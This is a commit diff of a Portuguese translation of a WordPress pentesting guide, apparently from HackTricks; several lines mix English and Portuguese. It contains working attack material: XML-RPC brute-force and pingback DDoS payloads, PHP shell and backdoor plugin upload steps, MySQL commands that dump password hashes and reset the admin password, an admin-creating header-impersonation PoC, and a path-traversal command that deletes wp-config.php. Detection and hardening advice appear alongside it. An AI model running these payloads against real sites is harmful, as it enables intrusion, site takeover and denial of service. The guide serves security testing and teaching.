Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres

This commit is contained in:
Translator 2025-09-08 04:20:10 +00:00
parent ad55d1843e
commit 6186db31ab

View File

@ -5,46 +5,46 @@
## Informações Básicas
- **Arquivos enviados** vão para: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Arquivos de temas podem ser encontrados em /wp-content/themes/,** então se você alterar algum php do tema para obter RCE provavelmente usará esse caminho. Por exemplo: Usando **tema twentytwelve** você pode **acessar** o arquivo **404.php** em: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Os arquivos de temas podem ser encontrados em /wp-content/themes/,** então se você alterar algum php do tema para obter RCE provavelmente usará esse caminho. Por exemplo: Usando **theme twentytwelve** você pode **access** o arquivo **404.php** em: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Outra URL útil pode ser:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- Em **wp-config.php** você pode encontrar a senha root do banco de dados.
- No **wp-config.php** você pode encontrar a senha root do banco de dados.
- Caminhos de login padrão para verificar: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Principais arquivos do WordPress**
- `index.php`
- `license.txt` contém informações úteis como a versão do WordPress instalada.
- `wp-activate.php` é usado no processo de ativação por e-mail ao configurar um novo site WordPress.
- `license.txt` contém informações úteis, como a versão do WordPress instalada.
- `wp-activate.php` é usado para o processo de ativação por e-mail ao configurar um novo site WordPress.
- Pastas de login (podem ser renomeadas para ocultá-las):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` é um arquivo que representa um recurso do WordPress que permite que dados sejam transmitidos com HTTP atuando como o mecanismo de transporte e XML como o mecanismo de codificação. Esse tipo de comunicação foi substituído pela WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- `xmlrpc.php` é um arquivo que representa um recurso do WordPress que permite que dados sejam transmitidos usando HTTP como mecanismo de transporte e XML como mecanismo de codificação. Esse tipo de comunicação foi substituído pela WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- A pasta `wp-content` é o diretório principal onde plugins e temas são armazenados.
- `wp-content/uploads/` é o diretório onde quaisquer arquivos enviados para a plataforma são armazenados.
- `wp-includes/` é o diretório onde arquivos do núcleo são armazenados, como certificados, fontes, arquivos JavaScript e widgets.
- `wp-sitemap.xml` Em versões do WordPress 5.5 e superiores, o WordPress gera um arquivo sitemap XML com todas as publicações públicas e tipos de post e taxonomias consultáveis publicamente.
- `wp-includes/` é o diretório onde os arquivos core são armazenados, como certificados, fontes, arquivos JavaScript e widgets.
- `wp-sitemap.xml` Em versões do WordPress 5.5 e superiores, o WordPress gera um arquivo sitemap XML com todas as postagens públicas e tipos de post e taxonomias publicamente consultáveis.
**Pós-exploração**
**Post exploitation**
- O arquivo `wp-config.php` contém informações necessárias para o WordPress conectar-se ao banco de dados, como o nome do banco, host do banco, usuário e senha, chaves de autenticação e salts, e o prefixo das tabelas do banco. Esse arquivo de configuração também pode ser usado para ativar o modo DEBUG, o que pode ser útil para resolver problemas.
- O arquivo `wp-config.php` contém informações necessárias ao WordPress para conectar-se ao banco de dados, como o nome do banco de dados, host do banco de dados, nome de usuário e senha, chaves de autenticação e salts, e o prefixo das tabelas do banco de dados. Esse arquivo de configuração também pode ser usado para ativar o modo DEBUG, o que pode ser útil na resolução de problemas.
### Permissões de Usuários
- **Administrador**
- **Editor**: Publica e gerencia seus próprios posts e os de outros
- **Autor**: Publica e gerencia seus próprios posts
- **Colaborador**: Escreve e gerencia seus posts, mas não pode publicá-los
- **Assinante**: Visualiza posts e edita seu perfil
- **Editor**: Publica e gerencia suas próprias postagens e as de outros
- **Autor**: Publica e gerencia suas próprias postagens
- **Contribuidor**: Escreve e gerencia suas postagens, mas não pode publicá-las
- **Assinante**: Navega pelas postagens e edita seu perfil
## **Enumeração Passiva**
## **Passive Enumeration**
### **Obter versão do WordPress**
Verifique se consegue encontrar os arquivos `/license.txt` ou `/readme.html`
Verifique se você consegue encontrar os arquivos `/license.txt` ou `/readme.html`
Dentro do **código-fonte** da página (exemplo de [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
@ -79,13 +79,13 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```
## Enumeração ativa
### Plugins and Themes
### Plugins e Temas
Você provavelmente não conseguirá encontrar todos os Plugins and Themes possíveis. Para descobrir todos eles, você precisará **realizar ativamente um Brute Force em uma lista de Plugins and Themes** (esperançosamente existem ferramentas automatizadas que contenham essas listas).
Provavelmente você não conseguirá encontrar todos os Plugins e Temas possíveis. Para descobrir todos eles, você precisará **ativamente Brute Force uma lista de Plugins e Temas** (esperançosamente para nós existem ferramentas automatizadas que contêm essas listas).
### Usuários
- **ID Brute:** Você obtém usuários válidos de um site WordPress ao Brute Forcing IDs de usuários:
- **ID Brute:** Você obtém usuários válidos de um site WordPress ao Brute Forcing os IDs de usuários:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
@ -95,21 +95,21 @@ Se as respostas forem **200** ou **30X**, isso significa que o id é **válido**
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
Outro `/wp-json/` endpoint que pode revelar algumas informações sobre usuários é:
Outro endpoint `/wp-json/` que pode revelar algumas informações sobre usuários é:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Note that this endpoint only exposes users that have made a post. **Somente informações sobre os usuários que têm esse recurso habilitado serão fornecidas**.
Observe que este endpoint expõe apenas usuários que fizeram um post. **Somente informações sobre os usuários que têm este recurso habilitado serão fornecidas**.
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
Também observe que **/wp-json/wp/v2/pages** could leak endereços IP.
- **Login username enumeration**: Ao fazer login em **`/wp-login.php`**, a **mensagem** é **diferente**, indicando se o **username** existe ou não.
- **Login username enumeration**: Ao fazer login em **`/wp-login.php`**, a **mensagem** é **diferente** dependendo se o **username existe ou não**.
### XML-RPC
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Você pode automatizar esse processo [using this](https://github.com/relarizky/wpxploit), por exemplo).
Se `xml-rpc.php` estiver ativo, você pode realizar um credentials brute-force ou usá-lo para lançar ataques DoS a outros recursos. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
Para verificar se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta requisição:
**Verificar**
```html
@ -122,7 +122,7 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para brute-force credentials. Se você encontrar qualquer um deles, pode enviar algo como:
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para brute-force credentials. Se você conseguir encontrar algum deles, pode enviar algo como:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,13 +132,13 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
</params>
</methodCall>
```
A mensagem _"Incorrect username or password"_ em uma resposta com código 200 deve aparecer se as credenciais não forem válidas.
A mensagem _"Incorrect username or password"_ dentro de uma resposta com código 200 deve aparecer se as credentials não estiverem válidas.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
Usando as credenciais corretas, você pode fazer upload de um arquivo. Na resposta, o caminho aparecerá ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
Usando as credentials corretas você pode fazer upload de um arquivo. Na resposta, o caminho aparecerá ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -168,18 +168,18 @@ Usando as credenciais corretas, você pode fazer upload de um arquivo. Na respos
</params>
</methodCall>
```
Also there is a **faster way** to brute-force creds using **`system.multicall`** as you can try several credentials on the same request:
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**Bypass 2FA**
Este método é destinado a programas e não a humanos, e é antigo; portanto não suporta 2FA. Assim, se você tem creds válidas mas a entrada principal está protegida por 2FA, **você pode conseguir abusar de xmlrpc.php para fazer login com essas creds contornando o 2FA**. Note que você não conseguirá realizar todas as ações que pode fazer pelo console, mas ainda assim pode chegar a RCE como o Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Este método foi feito para programas e não para humanos, e é antigo, portanto não suporta 2FA. Então, se você tiver creds válidas mas a entrada principal estiver protegida por 2FA, **você pode ser capaz de abusar de xmlrpc.php para fazer login com essas creds contornando a 2FA**. Note que você não conseguirá executar todas as ações que pode fazer pelo console, mas ainda assim pode chegar a RCE como o Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS or port scanning**
**DDoS ou port scanning**
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port).
This can be used to ask **milhares** de Wordpress **sites** to **acessar** um único **local** (causando um **DDoS** nesse local) ou você pode usá-lo para fazer o **Wordpress** **scan** alguma **rede** interna (você pode indicar qualquer porta).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -191,9 +191,9 @@ This can be used to ask **thousands** of Wordpress **sites** to **access** one *
```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
Se você obtiver **faultCode** com um valor **maior** que **0** (17), isso significa que a porta está aberta.
Se você obtiver **faultCode** com um valor **maior do que** **0** (17), isso significa que a porta está aberta.
Veja o uso de **`system.multicall`** na seção anterior para aprender como abusar desse método para causar DDoS.
Veja o uso de **`system.multicall`** na seção anterior para aprender como abusar deste método para causar DDoS.
**DDoS**
```html
@ -209,15 +209,15 @@ Veja o uso de **`system.multicall`** na seção anterior para aprender como abus
### wp-cron.php DoS
Este arquivo geralmente existe na raiz do site Wordpress: **`/wp-cron.php`**\
Quando esse arquivo é **accessed**, uma consulta MySQL "**heavy**" é executada, então ele pode ser usado por **attackers** para **cause** um **DoS**.\
Além disso, por padrão, o `wp-cron.php` é chamado a cada carregamento de página (sempre que um cliente solicita qualquer página do Wordpress), o que em sites de alto tráfego pode causar problemas (DoS).
Este arquivo geralmente existe na raiz do site WordPress: **`/wp-cron.php`**\
Quando este arquivo é **acessado**, uma consulta MySQL **"pesada"** é executada, então ele pode ser usado por **atacantes** para **causar** um **DoS**.\
Além disso, por padrão, o `wp-cron.php` é chamado em cada carregamento de página (sempre que um cliente solicita qualquer página do WordPress), o que em sites de alto tráfego pode causar problemas (DoS).
Recomenda-se desabilitar o Wp-Cron e criar um cronjob real no host que execute as ações necessárias em intervalos regulares (sem causar problemas).
### /wp-json/oembed/1.0/proxy - SSRF
Tente acessar _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e o Worpress site pode fazer uma requisição para você.
Tente acessar _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e o site WordPress pode fazer uma requisição para você.
This is the response when it doesn't work:
@ -230,7 +230,7 @@ This is the response when it doesn't work:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Esta ferramenta verifica se o **methodName: pingback.ping** e o path **/wp-json/oembed/1.0/proxy** existem e, se existirem, tenta explorá-los.
Esta ferramenta verifica se o **methodName: pingback.ping** e o caminho **/wp-json/oembed/1.0/proxy** existem; se existirem, tenta explorá-los.
## Ferramentas Automáticas
```bash
@ -240,22 +240,22 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## Obter acesso sobrescrevendo um bit
Mais uma curiosidade do que um ataque real. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) você podia inverter 1 bit em qualquer arquivo wordpress. Então você podia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para transformar a operação NOT (`!`) em NOP.
Mais do que um ataque real, isto é uma curiosidade. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) você poderia inverter 1 bit de qualquer arquivo do wordpress. Então você poderia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para tornar NOP a operação NOT (`!`).
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Painel RCE**
**Modificando um php do tema usado (são necessárias credenciais de admin)**
**Modificando um php do tema usado (credenciais admin necessárias)**
Aparência → Editor de Tema → Template 404 (à direita)
Altere o conteúdo para um php shell:
Substitua o conteúdo por um shell php:
![](<../../images/image (384).png>)
Pesquise na internet como acessar essa página atualizada. Neste caso você deve acessar aqui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
Procure na internet como acessar essa página atualizada. Neste caso você deve acessar aqui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@ -265,95 +265,95 @@ use exploit/unix/webapp/wp_admin_shell_upload
```
para obter uma sessão.
## RCE em plugin
## Plugin RCE
### Plugin PHP
### PHP plugin
Pode ser possível enviar arquivos .php como um plugin.\
Crie seu backdoor em php usando, por exemplo:
It may be possible to upload .php files as a plugin.\
Crie seu php backdoor usando por exemplo:
![](<../../images/image (183).png>)
Depois adicione um novo plugin:
Then add a new plugin:
![](<../../images/image (722).png>)
Faça upload do plugin e pressione Install Now:
Upload plugin and press Install Now:
![](<../../images/image (249).png>)
Clique em Procced:
Click on Procced:
![](<../../images/image (70).png>)
Provavelmente isso aparentemente não fará nada, mas se você for em Media, verá seu shell carregado:
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
![](<../../images/image (462).png>)
Acesse-o e você verá a URL para executar o reverse shell:
Access it and you will see the URL to execute the reverse shell:
![](<../../images/image (1006).png>)
### Enviar e ativar plugin malicioso
### Uploading and activating malicious plugin
Este método envolve a instalação de um plugin malicioso conhecido por ser vulnerável e que pode ser explorado para obter um web shell. Esse processo é realizado através do WordPress dashboard da seguinte forma:
This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:
1. **Plugin Acquisition**: O plugin é obtido de uma fonte como Exploit DB, por exemplo [**here**](https://www.exploit-db.com/exploits/36374).
2. **Instalação do Plugin**:
- Navegue até o WordPress dashboard, então vá para `Dashboard > Plugins > Upload Plugin`.
1. **Plugin Acquisition**: O plugin é obtido de uma fonte como Exploit DB, por exemplo [**aqui**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`.
- Faça upload do arquivo zip do plugin baixado.
3. **Ativação do Plugin**: Uma vez que o plugin seja instalado com sucesso, ele deve ser ativado através do dashboard.
4. **Exploração**:
- Com o plugin "reflex-gallery" instalado e ativado, ele pode ser explorado por ser conhecido como vulnerável.
- O Metasploit framework fornece um exploit para essa vulnerabilidade. Carregando o módulo apropriado e executando comandos específicos, uma sessão meterpreter pode ser estabelecida, concedendo acesso não autorizado ao site.
- Observa-se que este é apenas um dos muitos métodos para explorar um site WordPress.
3. **Plugin Activation**: Uma vez que o plugin esteja instalado com sucesso, ele deve ser ativado através do dashboard.
4. **Exploitation**:
- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
- It's noted that this is just one of the many methods to exploit a WordPress site.
O conteúdo inclui auxílios visuais que mostram os passos no WordPress dashboard para instalar e ativar o plugin. Entretanto, é importante notar que explorar vulnerabilidades dessa maneira é ilegal e antiético sem a devida autorização. Essas informações devem ser usadas de forma responsável e somente em um contexto legal, como pentesting com permissão explícita.
O conteúdo inclui ilustrações que mostram os passos no dashboard do WordPress para instalar e ativar o plugin. Entretanto, é importante notar que explorar vulnerabilidades dessa maneira é ilegal e antiético sem a devida autorização. Estas informações devem ser usadas de forma responsável e apenas em um contexto legal, como pentesting com permissão explícita.
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## De XSS para RCE
## From XSS to RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ é um script projetado para escalar uma vulnerabilidade de **Cross-Site Scripting (XSS)** para **Remote Code Execution (RCE)** ou outras vulnerabilidades críticas no WordPress. Para mais info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele fornece **suporte para versões do WordPress 6.X.X, 5.X.X and 4.X.X. e permite:**
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ é um script projetado para escalar uma vulnerabilidade **Cross-Site Scripting (XSS)** para **Remote Code Execution (RCE)** ou outras vulnerabilidades críticas no WordPress. Para mais informações confira [**este post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele fornece **suporte para Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- _**Privilege Escalation:**_ Cria um usuário no WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Faz upload do seu plugin customizado (backdoor) para o WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Faz upload do seu custom plugin (backdoor) para o WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Edita um Built-In Plugin no WordPress.
- _**(RCE) Built-In Theme Edit:**_ Edita um Built-In Theme no WordPress.
- _**(Custom) Custom Exploits:**_ Exploits customizados para Third-Party WordPress Plugins/Themes.
- _**(Custom) Custom Exploits:**_ Custom Exploits para plugins/themes de terceiros do WordPress.
## Pós-Exploração
## Post Exploitation
Extrair nomes de usuário e senhas:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Alterar a senha do admin:
Alterar password do admin:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Wordpress Plugins Pentest
### Superfície de Ataque
### Attack Surface
Saber como um plugin do Wordpress pode expor funcionalidades é fundamental para encontrar vulnerabilidades nessas funcionalidades. Você pode ver como um plugin pode expor funcionalidades nos pontos a seguir e alguns exemplos de plugins vulneráveis em [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
Saber como um plugin do Wordpress pode expor funcionalidades é essencial para encontrar vulnerabilidades nessas funcionalidades. Você pode ver como um plugin pode expor funcionalidades nos itens abaixo e alguns exemplos de plugins vulneráveis em [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Uma das formas de um plugin expor funções para usuários é via AJAX handlers. Eles podem conter bugs de lógica, autorização ou autenticação. Além disso, é bastante frequente que essas funções baseiem tanto a autenticação quanto a autorização na existência de um Wordpress nonce que **qualquer usuário autenticado na instância do Wordpress pode ter** (independentemente do seu papel).
Uma das formas pelas quais um plugin pode expor funções para os usuários é via AJAX handlers. Estes podem conter bugs de lógica, authorization, ou authentication. Além disso, é bastante frequente que essas funções baseiem tanto a authentication quanto a authorization na existência de um wordpress nonce que **any user authenticated in the Wordpress instance might have** (independentemente do seu role).
Estas são as funções que podem ser usadas para expor uma função em um plugin:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**O uso de `nopriv` torna o endpoint acessível a quaisquer usuários (até mesmo não autenticados).**
**O uso de `nopriv` torna o endpoint acessível por quaisquer users (mesmo os não autenticados).**
> [!CAUTION]
> Além disso, se a função apenas verifica a autorização do usuário com a função `wp_verify_nonce`, essa função só verifica se o usuário está logado; normalmente não verifica o papel do usuário. Portanto, usuários com privilégios baixos podem ter acesso a ações de alto privilégio.
> Além disso, se a função estiver apenas verificando a autorização do user com a função `wp_verify_nonce`, essa função está apenas verificando se o user está loggedin; ela normalmente não verifica o role do user. Portanto users com baixo privilégio podem ter acesso a ações de alto privilégio.
- **REST API**
Também é possível expor funções do WordPress registrando uma REST API usando a função `register_rest_route`:
Também é possível expor funções do wordpress registrando uma REST API usando a função `register_rest_route`:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
)
);
```
O `permission_callback` é uma função de callback que verifica se um dado usuário está autorizado a chamar o método da API.
O `permission_callback` é um callback para uma função que verifica se um determinado usuário está autorizado a chamar o método da API.
**Se a função integrada `__return_true` for usada, ela simplesmente pulará a verificação de permissões do usuário.**
- **Acesso direto ao arquivo php**
Claro, Wordpress usa PHP e os arquivos dentro dos plugins são diretamente acessíveis pela web. Portanto, caso um plugin exponha alguma funcionalidade vulnerável que seja acionada apenas ao acessar o arquivo, ela poderá ser explorada por qualquer usuário.
Claro que o Wordpress usa PHP e arquivos dentro de plugins são diretamente acessíveis pela web. Portanto, caso um plugin exponha qualquer funcionalidade vulnerável que seja disparada apenas ao acessar o arquivo, ela poderá ser explorada por qualquer usuário.
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Alguns plugins implementam atalhos de “trusted header” para integrações internas ou reverse proxies e então usam esse header para definir o contexto do usuário atual para requisições REST. Se o header não for vinculado criptograficamente à requisição por um componente upstream, um atacante pode forjar ele e atingir rotas REST privilegiadas como administrador.
Alguns plugins implementam atalhos de “trusted header” para integrações internas ou reverse proxies e então usam esse header para definir o contexto do usuário atual para requisições REST. Se o header não estiver ligado criptograficamente à requisição por um componente upstream, um atacante pode forjá-lo e acessar rotas REST privilegiadas como administrador.
- Impacto: escalada de privilégio não autenticada para admin ao criar um novo administrador via a rota REST core users.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (força o user ID 1, tipicamente a primeira conta de administrador).
- Rota explorada: `POST /wp-json/wp/v2/users` com um array de role elevado.
- Impact: escalada de privilégio não autenticada para admin ao criar um novo administrator via a rota REST core users.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forces user ID 1, typically the first administrator account).
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
PoC
```http
@ -393,26 +393,26 @@ Content-Length: 114
```
Por que funciona
- O plugin mapeia um cabeçalho controlado pelo cliente para o estado de autenticação e ignora verificações de capability.
- O core do WordPress espera a capability `create_users` para esta rota; o hack do plugin contorna isso definindo diretamente o contexto do usuário atual a partir do cabeçalho.
- O plugin mapeia um header controlado pelo cliente para o estado de autenticação e ignora as verificações de capability.
- O core do WordPress espera a capability `create_users` para esta rota; o hack do plugin a contorna definindo diretamente o contexto do usuário atual a partir do header.
Indicadores de sucesso esperados
- HTTP 201 com um corpo JSON descrevendo o usuário criado.
- Um novo usuário administrador visível em `wp-admin/users.php`.
Lista de verificação para detecção
Checklist de detecção
- Procure por `getallheaders()`, `$_SERVER['HTTP_...']`, ou SDKs de terceiros que leem cabeçalhos customizados para definir o contexto do usuário (por exemplo, `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Revise os registros REST em busca de callbacks privilegiados que não possuem verificações robustas de `permission_callback` e que em vez disso dependem de cabeçalhos da requisição.
- Procure usos de funções core de gerenciamento de usuários (`wp_insert_user`, `wp_create_user`) dentro de handlers REST que são protegidos apenas por valores de cabeçalho.
- Faça grep por `getallheaders()`, `$_SERVER['HTTP_...']`, ou SDKs de terceiros que leiam headers customizados para definir o contexto do usuário (por exemplo, `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Revise os registros REST em busca de callbacks privilegiados que não tenham checagens robustas de `permission_callback` e que, em vez disso, dependam de headers da requisição.
- Procure por usos de funções core de gerenciamento de usuários (`wp_insert_user`, `wp_create_user`) dentro de handlers REST que são protegidos apenas por valores de headers.
Endurecimento
- Nunca derive autenticação ou autorização a partir de cabeçalhos controlados pelo cliente.
- Se um reverse proxy precisar injetar identidade, termine a confiança no proxy e remova cópias recebidas (e.g., `unset X-Wcpay-Platform-Checkout-User` na borda), depois passe um token assinado e verifique-o no servidor.
- Para rotas REST que realizam ações privilegiadas, exija verificações `current_user_can()` e um `permission_callback` estrito (NÃO use `__return_true`).
- Prefira autenticação first-party (cookies, application passwords, OAuth) em vez de “impersonation” via cabeçalho.
- Nunca derive autenticação ou autorização de headers controlados pelo cliente.
- Se um reverse proxy precisar injetar identidade, encerre a confiança no proxy e remova cópias inbound (por exemplo, `unset X-Wcpay-Platform-Checkout-User` na borda), então passe um token assinado e verifique-o no servidor.
- Para rotas REST que executam ações privilegiadas, exija checagens `current_user_can()` e um `permission_callback` rigoroso (NÃO use `__return_true`).
- Prefira autenticação first-party (cookies, application passwords, OAuth) em vez de “impersonation” por header.
Referências: veja os links no final desta página para um caso público e uma análise mais ampla.
@ -424,7 +424,7 @@ WordPress themes and plugins frequently expose AJAX handlers through the `wp_aja
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
3. **Strict input sanitisation / validation**.
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
O tema multipurpose Litho (< 3.1) esqueceu esses 3 controles na funcionalidade *Remover Família de Fontes* e acabou distribuindo o seguinte código (simplificado):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -445,11 +445,11 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
```
Problemas introduzidos por este trecho:
* **Acesso não autenticado** o `wp_ajax_nopriv_` hook está registrado.
* **Sem verificação de nonce / capability** qualquer visitante pode acessar o endpoint.
* **Sem sanitização do caminho** a string `fontfamily` controlada pelo usuário é concatenada a um caminho do filesystem sem filtragem, permitindo o clássico `../../` traversal.
* **Unauthenticated access** o hook `wp_ajax_nopriv_` está registrado.
* **No nonce / capability check** qualquer visitante pode acessar o endpoint.
* **No path sanitisation** a string controlada pelo usuário `fontfamily` é concatenada a um caminho do sistema de arquivos sem filtragem, permitindo a clássica travessia `../../`.
#### Exploração
#### Exploitation
Um atacante pode excluir qualquer arquivo ou diretório **abaixo do diretório base de uploads** (normalmente `<wp-root>/wp-content/uploads/`) enviando uma única requisição HTTP POST:
```bash
@ -457,14 +457,14 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Porque `wp-config.php` fica fora de *uploads*, quatro sequências de `../` são suficientes em uma instalação padrão. Deletar `wp-config.php` força o WordPress a entrar no *installation wizard* na próxima visita, permitindo a tomada completa do site (o atacante apenas fornece uma nova configuração de DB e cria um usuário admin).
Porque `wp-config.php` fica fora de *uploads*, quatro sequências `../` são suficientes em uma instalação padrão. Excluir `wp-config.php` força o WordPress a entrar no *assistente de instalação* na próxima visita, permitindo a tomada completa do site (o atacante apenas fornece uma nova configuração de DB e cria um usuário administrador).
Outros alvos impactantes incluem arquivos `.php` de plugin/theme (para quebrar security plugins) ou regras `.htaccess`.
Outros alvos impactantes incluem arquivos `.php` de plugin/theme (para desativar plugins de segurança) ou regras `.htaccess`.
#### Checklist de detecção
* Qualquer callback `add_action( 'wp_ajax_nopriv_...')` que chame helpers do sistema de arquivos (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
* Concatenação de input de usuário não sanitizado em caminhos (procure por `$_POST`, `$_GET`, `$_REQUEST`).
* Qualquer callback `add_action( 'wp_ajax_nopriv_...')` que invoque filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
* Concatenação de entrada de usuário não sanitizada em caminhos (procure por `$_POST`, `$_GET`, `$_REQUEST`).
* Ausência de `check_ajax_referer()` e `current_user_can()`/`is_user_logged_in()`.
#### Endurecimento
@ -487,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Sempre** trate qualquer operação de escrita/remoção no disco como privilegiada e verifique duas vezes:
> • Autenticação • Autorização • Nonce • Sanitização da entrada • Contenção de caminho (ex.: via `realpath()` plus `str_starts_with()`).
> **Sempre** trate qualquer operação de escrita/exclusão em disco como privilegiada e verifique duas vezes:
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
---
### Privilege escalation via restauração de funções obsoletas e autorização ausente (ASE "View Admin as Role")
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
